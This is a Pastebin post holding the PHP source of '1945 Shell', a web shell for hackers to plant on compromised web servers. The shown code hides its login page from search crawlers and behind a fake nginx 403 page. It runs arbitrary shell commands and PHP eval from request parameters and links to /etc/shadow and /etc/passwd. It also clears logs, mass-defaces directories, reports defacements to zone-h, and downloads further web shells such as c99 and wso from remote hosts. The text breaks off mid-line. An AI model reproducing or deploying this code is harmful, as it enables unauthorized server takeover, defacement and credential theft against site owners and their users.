Dimas598105

shell indo 1945

Aug 17th, 2017
627
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 88.82 KB | None | 0 0
  1. <?php
  2. /*
  3. -----------------------------------------------
  4. @ 1945 Shell - 1945v2017 Edition
  5. @ Author : shutdown57 < alinko >
  6. @ Codename : MerdekaAtaoeMati
  7. @ Build : Final 16 August 2k17
  8. @ Default U|P : shutdown57|asukabeh
  9. -----------------------------------------------
  10. @ Thanks For Support ! & Greetings To :
  11. @ RobinRoot - Silentc0ders - Con7ext - Panda Dot ID - xXx-ID
  12. @ CUMOL0 - Gorillaz.ID - maskamal - milio48 - ./R015 - 0xd3vs
  13. @ s4bun - GH057.ID - m1x - YouKnowWho - SyntaX404 - bL@cKID
  14. @ LCR999X - Mr.Razier - ML7C - Ashura - Mr.DrimuEx196 - CL0WN
  15. @ JavaCodeRulez [JavCode] - IndoXploit - bug7sec
  16. -----------------------------------------------
  17. **/
  18. session_start();ob_start();error_reporting(0);set_time_limit(0);@ini_set('error_log',NULL);@ini_set('log_errors',0);@ini_set('max_execution_time',0);@ini_set('output_buffering',0);@ini_set('display_errors', 0);if(!empty($_SERVER['HTTP_USER_AGENT'])){$userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit","ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");if(preg_match('/'.implode('|', $userAgents).'/i',$_SERVER['HTTP_USER_AGENT'])){header('HTTP/1.0 404 Not Found');exit;}}if(strtolower(substr(PHP_OS,0,3)) == "win"){$os = 'win';}else{$os = 'nix';}if(function_exists('set_magic_quotes_runtime')){set_magic_quotes_runtime(0);}
  19. //-------------------------------- 1945 Shell - 1945v2017 ---------------------------------
  20. //1945 shell configuration
  21. $color_1945 = "#fff";
  22. $versi_1945 = "2017"; // version 1945 shell
  23. $hostn_1945 = $_SERVER['HTTP_HOST']; // get hostname from server
  24. $title_1945 = "1945v".$versi_1945." ~ ".$hostn_1945; // set title for this shell
  25. $usernm_1945 = "shutdown57"; // default username : shutdown57
  26. $passwd_1945 = "60eb33475c18ff0699c91961e6074b06";// md5 : asukabeh | Default Password
  27. $session_name = md5($_SERVER['HTTP_HOST']."_session_1945"); // session name
  28. $hidden_login = TRUE; // Hidden login, TRUE or FALSE
  29. $display_src = "https://raw.githubusercontent.com/alintamvanz/1945shell/master/default-403-nginx.html"; // source display hidden login
  30. $loguri_1945 = "?login=1945"; // login url , default : shell.php?login=1945
  31. //End Configuration
  32. //-------------------------------- 1945 Shell - 1945v2017 ---------------------------------
  33. function LoginPage1945(){echo "<div style=\"margin-top:250px;\" align=center><h3>1945v2017 - Login</h3></div>";echo "<form method=\"POST\"><table align=center ><tr><td>";echo "Username :</td><td><input type=\"text\" name=\"usernm_1945\"></td></tr><tr>";echo "<td>Password :</td><td><input type=\"password\" name=\"passwd_1945\"></td></tr><tr><td colspan=2>";echo "<input type=\"submit\" value=\">>\"></td></tr></table></form>";}function login_1945_merdekaataoemati(){$requri = explode("=",str_replace("?","",$GLOBALS['loguri_1945']));if($GLOBALS['hidden_login'] === TRUE){if(isset($_GET[$requri[0]])){if($_GET[$requri[0]]==$requri[1]){LoginPage1945();}}else{print(file_get_contents($GLOBALS['display_src']));}exit();}elseif($GLOBALS['hidden_login'] === FALSE){LoginPage1945();exit();}else{echo "hello there,shutdown57 !"; exit();}}if(!isset($_SESSION[$session_name])){if(empty($passwd_1945)||(empty($usernm_1945))||(isset($_POST['passwd_1945'])&&(md5($_POST['passwd_1945']))==$passwd_1945)&&(isset($_POST['usernm_1945'])&&($_POST['usernm_1945'])==$usernm_1945)){$_SESSION[$session_name]=true;}else{login_1945_merdekaataoemati();}}class Html45{public function show($str){return print($str);}public function h1($t){$h= "<h1>";$h.= $t;$h.="</h1>";return $h; }public function th($t){$th="<th>";$th.=$t;$th.="</th>";return $th;}public function tr($t){$tr ="<tr>";$tr.=$t;$tr.="</tr>";return $tr;}public function td($t){$td = "<td>";$td.= $t;$td.="</td>";return $td;}public function html($tytyd){ $html ="<!DOCTYPE HTML><html><head>";$html.="<title>".$tytyd."</title>";$html.="<link rel=\"icon\" href=\"http://www.animatedimages.org/data/media/781/animated-indonesia-flag-image-0013.gif\">";$html.="<style>@import url('https://fonts.googleapis.com/css?family=Asap');*{font-family:Asap}body{font-size:13px;background:#000;color:".$GLOBALS['color_1945'].";}.a_exp{border:1px solid #f00;border-collapse: collapse;width:100%}.a_exp tr:hover{background:#f00;}.a_exp tr:nth-child(even){background:#222}.a_exp tr:nth-child(even):hover{background:#f00} a{text-decoration: none;color:#fff;}.a_exp a{color:#fff;}.a_exp a:hover{text-decoration: underline;}.a_exp th{background:#fff;color:#f00;font-weight:bold}a:hover{border-bottom:1px solid #f00;}.input_m{border:1px solid #f00;color:#fff;width:250px;background:#000}.submit_m{color:#fff;border:1px solid #f00;background:#000}.submit_m:hover{border:1px solid #fff}.input_m:hover,.input_m:focus{border-bottom:1px solid #fff}.txtarea_m{margin-left:30px;border:0; border-left:2px solid #f00;color:#fff;width:98%;height:360px;background:#000}.code{margin-left:40px;border-left:2px solid #fff}.table .kiri{border-right:2px solid #fff;padding-right:30px;}ul{list-style:none;background:#333;}ul li{padding:5px;display:inline-block;}.action{margin-left:40px;border-left:2px solid #fff;padding:2px}.table{font-size:13px}.right{float:right;position:absolute;right:0;top:0;padding:10px;margin:10px;}hr{border:1px solid #fff}</style><script type='text/javascript'>function cmd45(){document.getElementById('menu').style.display='none';document.getElementById('cmdx').style.display='block';}</script>";$html.="<meta name=\"author\" content=\"shutdown57 a.k.a alinko\">";$html.="</head><body>";return $html;}public function a($href,$displ,$attr){$a="<a href=\"".$href."\" ".$attr.">";$a.=wordwrap($displ,60,"\n",TRUE);$a.="</a>";return $a;}public function pre($c){$p = "<pre>";$p.= $c;$p.= "</pre>";return $p;}public function form($method,$input){$form = "<form method=\"".$method."\">";$form.= $input;$form.= "</form>";return $form;}public function input($type,$name,$attr,$label){$input = "<label for=\"".$name."\">".$label."</label> : ";$input.= "<input type=\"".$type."\"";$input.= "name=\"".$name."\"";$input.= $attr;$input.= " class=\"input_m\">";return $input;}public function submit($name,$attr){$sbmt = "<input type=\"submit\"";$sbmt.= "name=\"".$name."\"";$sbmt.= $attr;$sbmt.= " class=\"submit_m\">";return $sbmt;}public function textarea($name,$content,$attr){$txt = "<textarea name=\"".$name."\"";$txt.= "class=\"txtarea_m\"";$txt.=$attr;$txt.=">";$txt.= $content;$txt.="</textarea>";return $txt;}public function actdone(){$this->show("<div class=\"alert_m\"><b>has a job well done !</b></div>");$this->show("What do you want to go back? [<a href=\"javascript:history.go(-1);\">Yes</a> | <a href=\"?_index\">No</a>]");}public function actfail(){$this->show("<div class=\"alert_x\"><b>the task could not be finished :( , Something Wrong!</b></div>");$this->show("What do you want to go back? [<a href=\"javascript:history.go(-1);\">Yes</a> | <a href=\"?_index\">No</a>]");}public function ul($l){$li = "<ul>";$li.= $l;$li.= "</ul>";return $li;}public function li($ll){$ul = "<li>";$ul.= $ll;$ul.= "</li>";return $ul;}public function select($name,$opt,$o){$s = "<select name=\"".$name."\" ".$o.">";$s.= $opt;$s.= "</select>";return $s;}public function option($val,$sh){$o="<option value=\"".$val."\">";$o.=$sh;$o.="</option>";return $o;}public function footer(){$foot = "<div style=\"margin-top:69px;\" align=\"center\">";$foot.= "copyright &copy; ".date('Y');$foot.= " indonesianpeople | 1945v2017 by :";$foot.= $this->a("https://facebook.com/JKT48.co","shutdown57","target=\"_blank\"");$foot.= "</div>";return $foot;}}class FileMan45{public function Spath(){if(isset($_GET['__merdeka__'])){$d=($_GET['__merdeka__']=='..') ? str_replace("..",getcwd(),$_GET['__merdeka__']) : $_GET['__merdeka__'];if(!isset($_GET['__action__'])||$_GET['__action__']=="cmd"){@chdir($_GET['__merdeka__']);}}else{if(isset($_GET['__files__'])){$d = dirname($_GET['__files__']);}else{if(function_exists('getcwd')){$d = getcwd();}else{$d = __DIR__;}}}return $d;}public function ScanDir($p){ if(function_exists('scandir')){$s = scandir($p);}else{echo "<center><h1>1945v2017 Shell</h1><p>Scandir() function not exist in this server, You Can use command \"shell.php?cmd=ls -lia\" for execute shell,<br> Or \"shell.php?eval=phpinfo()\" for execute php"; if(isset($_REQUEST['cmd'])||$_REQUEST['eval']){echo"<pre>";system($_REQUEST['cmd']);echo"</pre>";eval($_REQUEST['eval']);}exit;} return $s;}public function getfsize($files){$size = filesize($files)/1024;$size = round($size,3);if($size > 1024){$size = round($size/1024,2). 'MB';} else {$size = $size. 'KB';}return $size;}public function getfilemtime($f){$a_fdm=@date("Y-m-d H:i:s", filemtime($f));return $a_fdm;}public function getmime($f){if(function_exists('mime_content_type')){if(is_readable($f)){$mime = mime_content_type($f);}else{$mime = "Unknown";}}else{if(is_dir($f)){$mime="Directory";}elseif(is_file($f)){$mime="Files";}else{$mime="Unknown";}}return $mime;}public function getowner($path){if(function_exists('posix_getpwuid')) {$downer = @posix_getpwuid(fileowner($path));$downer = $downer['name'];} else {$downer = fileowner($path);}return $downer;}public function getgroup($path){if(function_exists('posix_getgrgid')) {$dgrp = @posix_getgrgid(filegroup($path));$dgrp = $dgrp['name'];} else { $dgrp = filegroup($path);}return $dgrp;} public function getperms($file){$perms = fileperms($file);if (($perms & 0xC000) == 0xC000) {$info = 's';} elseif (($perms & 0xA000) == 0xA000) {$info = 'l';} elseif (($perms & 0x8000) == 0x8000) {$info = '-';} elseif (($perms & 0x6000) == 0x6000) {$info = 'b';} elseif (($perms & 0x4000) == 0x4000) {$info = 'd';} elseif (($perms & 0x2000) == 0x2000) {$info = 'c';} elseif (($perms & 0x1000) == 0x1000) {$info = 'p';} else {$info = 'u';}$info .= (($perms & 0x0100) ? 'r' : '-');$info .= (($perms & 0x0080) ? 'w' : '-');$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));$info .= (($perms & 0x0020) ? 'r' : '-');$info .= (($perms & 0x0010) ? 'w' : '-');$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info;}public function viewfile($f){$file = wordwrap(file_get_contents($f),150,"\n",true);$a= highlight_string($file,true);$old = array("0000BB","000000","FF8000","DD0000", "007700");$new = array("81FF00","e1e1e1", "333333", "ffffff" , "FF8000");$a= str_ireplace($old,$new, $a);$result = "<div class=\"code\">";$result .= $a;$result.="</div>";return $result;}public function currentdir($path,$goto){$dir = str_replace("\\","/",$path);$dir = explode("/",$dir);foreach($dir as $o=>$i){if($i == "" && $o == 0){echo "<a href='?".$goto."=/'>/</a>";continue;}if($i == "")continue;echo "<a href='?".$goto."=";for($p=0;$p<=$o;$p++){ echo $dir[$p]; if($p != $o){echo "/";} } echo "'>".$i."</a>/";}if(is_writable($path)){echo "- [<b><font color=lime>W</font></b>] [<a href='?__merdeka__=".$path."&__action__=update' target='_blank'><b>UPDATE</b></a>]";}elseif(is_readable($path)){echo "- [<b><font color=red>R</font></b>]";}else{echo "- [<b><font color=grey>Unknown</font></b>]<meta http-equiv='refresh' content='4;url=?'>";}}public function actiondir($p){$h= new Html45();$a =$h->a("?__merdeka__=".$p."&__action__=rename","ren","");$a.=" | ";$a.=$h->a("?__merdeka__=".$p."&__action__=delete","del","");$a.=" | ";$a.=$h->a("?__merdeka__=".$p."&__action__=mkdir","newDir","");$a.=" | ";$a.=$h->a("?__merdeka__=".$p."&__action__=touch","newFile","");return $a;}public function actionfile($p){$h= new Html45();$a =$h->a("?__files__=".$p."&__action__=rename","ren","");$a.=" | ";$a.=$h->a("?__files__=".$p."&__action__=delete","del","");$a.=" | ";$a.=$h->a("?__files__=".$p."&__action__=edit","edit","");$a.=" | ";$a.=$h->a("?__files__=".$p."&__action__=hex","hex");$a.=" | ";$a.=$h->a("?__files__=".$p."&__action__=dl","download","");return $a;}static function cmd($cmd){ if(function_exists('system')) { @ob_start(); @system($cmd); $buff = @ob_get_contents();@ob_end_clean(); return $buff; } elseif(function_exists('exec')) { @exec($cmd,$results); $buff = ""; foreach($results as $result) { $buff .= $result; } return $buff; } elseif(function_exists('passthru')) { @ob_start(); @passthru($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif(function_exists('shell_exec')) { $buff = @shell_exec($cmd); return $buff; }}}class SysInfo45{public function servis(){$mysql= (function_exists('mysql_connect')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";$mysqli = (function_exists('mysqli_connect')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";$curl = (function_exists('curl_init')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";$perl = (FileMan45::cmd('perl --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";$py = (FileMan45::cmd('python --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";$sh = (FileMan45::cmd('bash --version')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";$wg= (FileMan45::cmd('wget --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>"; $s = "MySQL : ";$s.= $mysql."<font color=red> | </font>";$s.= "MySQLi : ";$s.= $mysqli."<font color=red> | </font>";$s.="Wget : ".$wg."<font color=red> | </font>";$s.= "CURL : ";$s.= $curl."<font color=red> | </font>";$s.= "Perl : ";$s.=$perl."<font color=red> | </font>";$s.= "Python : ";$s.= $py. "<font color=red> | </font>";$s.= "Bash : ";$s.= $sh. "";return $s;}public function ipsercli(){$ip = "IP Server : ";$ip.= gethostbyname($_SERVER['HTTP_HOST']);$ip.= " <font color=red>|</font> ";$ip.= "IP Client : ";$ip.= $_SERVER['REMOTE_ADDR'];return $ip;}public function usergroup($p){if(!function_exists('posix_getegid')) {$user = @get_current_user();$uid = @getmyuid();$gid = @getmygid();$group = "?";} else {$uid = @posix_getpwuid(posix_geteuid());$gid = @posix_getgrgid(posix_getegid());$user = $uid['name'];$uid = $uid['uid'];$group = $gid['name'];$gid = $gid['gid'];}$u = "User :<b> ".$user."</b> [".$uid."] <font color=red>||</font> Group :<b> ".$group."</b> [".$gid."]";return $u;}public function gethost(){$host = $_SERVER['HTTP_HOST'];$h = "Hostname : ";$h .= preg_replace("/^www./","",$host);return $h;} public function gethddsize($s){if($s >= 1073741824)return sprintf('%1.2f',$s / 1073741824 ).' GB';elseif($s >= 1048576)return sprintf('%1.2f',$s / 1048576 ) .' MB';elseif($s >= 1024)return sprintf('%1.2f',$s / 1024 ) .' KB';else return $s .' B';}public function disablefunc(){ if(ini_get('disable_functions')){$df=wordwrap(ini_get('disable_functions'),100,"\n",true);}else{$df=" <font color=red>NONE :)</font>";}return $df;}public function hddsize($p){$hdd = "HDD : ";$hdd.= $this->gethddsize(disk_total_space($p)) - $this->gethddsize(diskfreespace($p));$hdd.= " / ";$hdd.= $this->gethddsize(disk_total_space($p));$hdd.= " | ";$hdd.= "[<b> Free : ";$hdd.= $this->gethddsize(diskfreespace($p));$hdd.= "</b> ]";return $hdd;}public function uname(){$uname = "System :";$uname.= php_uname();return $uname;}public function phpv(){$php = "PHP Version :";$php.= phpversion();return $php;}public function SecInfo(){echo "<div style=\"font-size:13px\">";if(preg_match("/Linux/",php_uname())){$ss = "Server Software : <b>";$ss.= $_SERVER['SERVER_SOFTWARE']."</b><br>";echo $ss;if(preg_match("/Apache/",$ss)){$sz = "Apache Loaded Module : <b>";$lm = apache_get_modules();$sz.= wordwrap(implode("<b><font color=red> - </font></b>",$lm),69,"\n",true)."</b>";$sz.= "<br>";$sz.= "Apache Version : <b>";$sz.= apache_get_version()."</b><br>";echo $sz; }$ds = "PHP Disable functions : <b>";$ds.= $this->disablefunc()."</b>";echo $ds;echo "<br><br>";$etc = "Readable /etc/passwd : ";$etc.= (is_readable("/etc/passwd")) ? "<font color=lime> YES </font>[<a href='?__files__=/etc/passwd&__action__=view'>View</a>]" : "<font color=red> NO </font>";$etc.= "<br>";$etc.= "Readable /etc/shadow : ";$etc.= (is_readable("/etc/shadow")) ? "<font color=lime> YES </font>[<a href='?__files__=/etc/shadow&__action__=view'>View</a>]" : "<font color=red> NO </font>";echo $etc;$phpini="<br>Readable php.ini : ";$phpini.=(is_readable(php_ini_loaded_file())) ? "<font color=lime>YES</font> [<a href='?__files__=".php_ini_loaded_file()."&__action__=view';>View</a>]":"<font color=red>NO</font>";echo $phpini;$oo = "<pre class=\"code\">";$oo.= "HDD Space :<br><b>";$oo.= FileMan45::cmd("df -h");$oo.= "</pre><pre class=\"code\">";$oo.= "Hosts : <br><b>";$oo.= FileMan45::cmd("cat /etc/hosts");$oo.= "</pre></b></b>";echo $oo;}else{echo "<center><h1>But,The System Use Windows Server :(</h1></center>";}echo "</div>";}}class Act45{public function bing($dork) {$npage = 1;$npages = 30000;$allLinks = array();$lll = array();while($npage <= $npages) {$x = getsource("http://www.bing.com/search?q=".$dork."&first=".$npage);if($x) {preg_match_all('#<h2><a href="(.*?)" h="ID#', $x, $findlink);foreach ($findlink[1] as $fl) array_push($allLinks, $fl);$npage = $npage + 10;if (preg_match("(first=" . $npage . "&amp)siU", $x, $linksuiv) == 0) break;} else break;}$URLs = array();foreach($allLinks as $url){$exp = explode("/", $url);$URLs[] = $exp[2];}$array = array_filter($URLs);$array = array_unique($array);$sss = count(array_unique($array));foreach($array as $domain) {echo $domain."\n";}}public function update45(){$getu=file_get_contents("https://raw.githubusercontent.com/alintamvanz/1945shell/master/update.1945");@eval($getu);if($update=="YES"){$result_upt="<b><i> UPDATE AVAILABLE !!! </i></b><br>";$result_upt.="<b><big> Update Info </big></b><pre>";$result_upt.="<li> Version : ".$version."</li>";$result_upt.="<li> Release : ".$releasedate."</li>";$result_upt.="<li> Codename : ".$codename."</li>";$result_upt.="<li> Build : ".$build."</li>";$result_upt.="<li> Status : ".$status."</li>";$result_upt.="<li> Author : ".$author."</li>";$result_upt.="<li> Email : ".$email."</li></pre>";$getshell=file_get_contents("https://raw.githubusercontent.com/alintamvanz/1945shell/master/1945.php"); if(@file_put_contents($_SERVER['SCRIPT_FILENAME'],file_get_contents(htmlspecialchars("https://raw.githubusercontent.com/alintamvanz/1945shell/master/1945.php")))){$result_upt.="<hr><center><h3><b> Successfully Update !! </b></h3><p> Thanks Your For Supporting Us !</p></center><hr>";}else{$result_upt.="<hr><center><h3><b> Failed to update :( </b></h3></center><hr>";}}elseif($update=="NONE"){$result_upt.="<b><i> YOU USING NEWEST VERSION </i></b><br>";$result_upt.="<b> Update not available !</b>";}elseif($update=="BUILD"){$result_upt.="<b><i> 1945Shell Status Build Proccess !</i></b>";}else{$result_upt.="<b> FAILED TO CHECK FOR UPDATE :( </b>";}return $result_upt;}public function getStr45($param, $kata1, $kata2){if(strpos($param, $kata1) === FALSE) return FALSE;if(strpos($param, $kata2) === FALSE) return FALSE;$start = strpos($param, $kata1) + strlen($kata1);$end = strpos($param, $kata2, $start);$return = substr($param, $start, $end - $start);return $return;}public function Stamp45($fname,$ffname,$nick,$pesan,$mail){if(file_exists($fname)){@rename($fname,$ffname);$ppq1=array("%nick%","%kata%","%email%");$ppq2=array($nick,$pesan,$mail);$cont=str_replace($ppq1,$ppq2,file_get_contents(htmlspecialchars($ffname)));return file_put_contents($ffname,$cont);}}public function HexDump45($data){static $from = '';static $to = '';static $width = 16;static $pad = '.';if ($from===''){for ($i=0; $i<=0xFF; $i++){$from .= chr($i);$to .= ($i >= 0x20 && $i <= 0x7E) ? chr($i) : $pad;}}$hex = str_split(bin2hex($data), $width*2);$chars = str_split(strtr($data, $from, $to), $width);$offset = 0;echo "<table class='a_exp'>";foreach ($hex as $i => $line){echo "<tr><td>".sprintf('%6X',$offset).' </td><td> '.implode(' ', str_split($line,2)) . '</td><td> ' . $chars[$i] . '</td></tr>';$offset += $width;}echo "</table>";}public function zoneh45($url,$nick) {$ch = curl_init("http://www.zone-h.com/notify/single");curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_POST, true);curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");return curl_exec($ch);curl_close($ch);}public function reverse($url) {$ch = curl_init("http://domains.yougetsignal.com/domains.php");curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$url&ket=");curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_POST, 1);$resp = curl_exec($ch);$resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));$array = explode(",,", $resp);unset($array[0]);foreach($array as $lnk) {$lnk = "http://$lnk";$lnk = str_replace(",", "", $lnk);$re.=$lnk."\n";ob_flush();flush();}curl_close($ch);return $re;}public function MassDeface45($fname,$dname,$script){if(is_writable($dname)) {$dira = scandir($dname);foreach($dira as $dirb){$dirc = "$dname/$dirb";$lokasi = $dirc.'/'.$fname;if($dirb === '.') {file_put_contents($lokasi, $script);} elseif($dirb === '..') {file_put_contents($lokasi, $script);} else {if(is_dir($dirc)) {if(is_writable($dirc)) {echo "<p align=left>[<font color=lime>D E F A C E</font>] $dirb/$fname</p>";file_put_contents($lokasi, $script);}else{echo "<p align=left>[<font color=red>F A I L E D</font>] $dirb/$fname </p>";}}}}}}public function getsource($url) {$curl = curl_init($url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);$content = curl_exec($curl);curl_close($curl);return $content;}public function getdomainname(){$fopen = fopen("/etc/named.conf", "r");while($read = fgets($fopen)) {preg_match_all("#/var/named/(.*?).db#", $read, $getdomain);$domain[] = $getdomain[1][0];}return $domain;}public function CekConf(){if(!preg_match("/1945.conf/i",$_SERVER['REQUEST_URI'])){echo "<center><b>Directory COnfig not Found :( </b><br> <i> Please, <a href='?__merdeka__=".getcwd()."&__action__=config'>Click Here</a> For get Config</i>";} }public function getuser(){$fopen = fopen("/etc/passwd", "r") or die("Can't read /etc/passwd");while($read = fgets($fopen)) {preg_match_all('/(.*?):x:/', $read, $getuser);$user[] = $getuser[1][0];}return $user;}public function upload($a,$b){ if(function_exists('move_uploaded_file')){$upl = move_uploaded_file($a,$b);}elseif (function_exists('copy')) { $upl = copy($a,$b);}return $upl; }public function array_upload($file){ $file_ary = array(); $file_count = count($file['name']); $file_key = array_keys($file); for($i=0;$i<$file_count;$i++) { foreach($file_key as $val) { $file_ary[$i][$val] = $file[$val][$i]; } } return $file_ary;} public function simpantext($o,$k){$fp = fopen($o,"w");$o=fwrite($fp,$k);$o.=fclose($fp);return $o; } public function delete($dir){if(is_dir($dir)){if(!rmdir($dir)){$s=scandir($dir);foreach ($s as $ss) {if(is_file($dir."/".$ss)){if(unlink($dir."/".$ss)){$rm=rmdir($dir);}}if(is_dir($dir."/".$ss)){$rm=rmdir($dir."/".$ss);$rm.=rmdir($dir);$rm.=system('rm -rf '.$dir);}}}}elseif(is_file($dir)){$rm = unlink($dir);if(!$rm){system('rm -rf '.$dir);}}return $rm;}public function mkdirr($dir,$nd){if(is_writable($dir)){if(function_exists('mkdir')){$mkdir = mkdir($dir."/".$nd);}else{$mkdir = @system('mkdir '.$dir.'/'.$nd);}}return $mkdir;}public function renamet($old,$new){if(function_exists('rename')){$rename = rename($old,$new);}else{ $rename = @system('mv '.$old.' '.$new.'');}return $rename;}public static function getscript($isi,$url){$fp = fopen($isi,"w");$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_BINARYTRANSFER,1); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0); curl_setopt($ch, CURLOPT_FILE, $fp);return curl_exec($ch); curl_close($ch);fclose($fp);ob_flush();flush();}public function getcontent($url){ $curl = curl_init($url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);$content = curl_exec($curl); curl_close($curl);return $content;} public function kuchiyose($nama){$source = array( "kuchiyose_wso" => "https://raw.githubusercontent.com/alintamvanz/webshell/master/ext/wso.php","kuchiyose_b374k"=> "https://raw.githubusercontent.com/alintamvanz/webshell/master/ext/b374k.php","kuchiyose_idx" => "https://raw.githubusercontent.com/alintamvanz/webshell/master/ext/indoxploit.php","kuchiyose_ayana"=> "https://raw.githubusercontent.com/alintamvanz/webshell/master/ayana.php","kuchiyose_lc" => "https://raw.githubusercontent.com/alintamvanz/webshell/master/linuxcode.php","kuchiyose_wa" => "https://raw.githubusercontent.com/alintamvanz/webshell/master/ext/webadmin.php","kuchiyose_1945" => "https://raw.githubusercontent.com/alintamvanz/webshell/master/1945.php","kuchiyose_r57" => "https://raw.githubusercontent.com/alintamvanz/webshell/master/ext/r57.php","kuchiyose_it" => "https://raw.githubusercontent.com/alintamvanz/webshell/master/ext/itsec.php","kuchiyose_c99" => "https://raw.githubusercontent.com/alintamvanz/webshell/master/ext/c99.php","kuchiyose_ms" => "https://raw.githubusercontent.com/alintamvanz/webshell/master/ext/mini-shell.php","kuchiyose_symsa" => "https://raw.githubusercontent.com/alintamvanz/webshell/master/ext/symlinksa.php","kuchiyose_adminer"=>"https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","kuchiyose_noname"=>"https://raw.githubusercontent.com/rintoar/shell_backdoor/master/nonamesource.txt"); if(is_writable(getcwd())){if(!file_exists('1945_kcy')){$alert="Creating Directory <b>1945_kcy</b> ..."; sleep(2); if(@mkdir('1945_kcy')){$alert= "<script>alert('Directory Created !');</script><meta http-equiv='refresh' content=0;url=>";}}else{ if(!file_exists('1945_kcy/'.$nama.'.php')){if(Act45::getscript("1945_kcy/".$nama.".php",$source[$nama])){$alert= "<b><font color=lime>kuchiyose No Jutsu !</font></b><br>";$alert.= "File : <a href='1945_kcy/".$nama.".php' target='_blank'>1945_kcy/".$nama.".php</a> <b>Successfully imported</b> ";}else{$alert ="<b><font color=red>kuchiyose No Jutsu !</font></b><br>";$alert.= "File : 1945_kcy/".$nama.".php <b> Can't Proccess !</b>";}}else{ $alert= "<b><font color=green>kuchiyose No Jutsu !</font></b><br>";$alert.= "File : 1945_kcy/".$nama.".php <b>Something problem !</b> ";}}}else{$alert= "Directory : <b><i>".getcwd()."</i></b><font color=red> Not Writable :(<br>";$alert.= "Can't Proccess Request !</font>";$alert.= "<script>alert('Cant Proccess Request ! - Directory not Writable!');</script>";}return $alert;}}$html = new Html45();$fileman = new FileMan45();$sysfo = new SysInfo45();$act = new Act45();$dir = $fileman->Spath();$scandir = $fileman->ScanDir($dir);$no=1;$html->show($html->html($title_1945));$ak = "?__merdeka__=$dir&__action__=";$sysinfomerdekaee ="<pre>"; $sysinfomerdekaee.=$sysfo->uname()."<br>";$savemode=(@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>";$sysinfomerdekaee.=$sysfo->gethost(); $sysinfomerdekaee.=" | Safe Mode : ".$savemode."<br>";$sysinfomerdekaee.="Server Software : ".$_SERVER['SERVER_SOFTWARE']."<br>";$sysinfomerdekaee.="PHP Version :".phpversion()." - [<a href='?__merdeka__=$dir&__action__=infophp'>PHPINFO</a>]<br>";$sysinfomerdekaee.=$sysfo->ipsercli()."<br>";$sysinfomerdekaee.=$sysfo->hddsize($dir)."<br>";$sysinfomerdekaee.=$sysfo->usergroup($dir)."<br>";$sysinfomerdekaee.=$sysfo->servis()."<br>";$sysinfomerdekaee.="Disable functions :".$sysfo->disablefunc();$sysinfomerdekaee.="</pre><div class='right'>";$sysinfomerdekaee.="[ ".$html->a("?ngewe","FileMan","")." ]";$sysinfomerdekaee.="[ ".$html->a("?__merdeka__=$dir&__action__=clogs","Clear logs","")." ]";$sysinfomerdekaee.="[ ".$html->a("?__merdeka__=$dir&__action__=setting","Settings")." ]";$sysinfomerdekaee.="[ ".$html->a("?__merdeka__=$dir&__action__=killme","Kill Me","")." ]";$sysinfomerdekaee.="</div>";$html->show("<script>function tukar_om(a,b){document.getElementById(a).style.display='none'; document.getElementById(b).style.display='block';}</script>");$html->show("<table class=\"table\">");$html->show($html->tr($html->td("<img src=\"https://alintamvanz.github.io/images/garuda-1945.png\" style=\"width:150px;height:150px\" class=\"kiri\">").$html->td($sysinfomerdekaee)));$html->show("</table>");$html->show("<div id=\"lama\"><a href=\"javascript:tukar_om('lama','baru');\" > Current Dir :");$fileman->currentdir($fileman->Spath(),"__merdeka__");$inpux = $html->input("text","__merdeka__","value=\"".$dir."\" autocomplete=\"off\"","Go to dir :");$inpux.= $html->submit("","value=\">>\"");$form = $html->form("GET",$inpux);$html->show("</div><div id=\"baru\" style=\"display:none\">".$form."</div>");$html->show("<hr>");$li = $html->li("[ ".$html->a("?_","Home","")." ]");$li .= $html->li("[ ".$html->a($ak."sec","Sec. Info","System Security Info")." ]");$li .= $html->li("[ ".$html->a("javascript:cmd45();","Command","title=\"Execute command\"")." ]");$li .= $html->li("[ 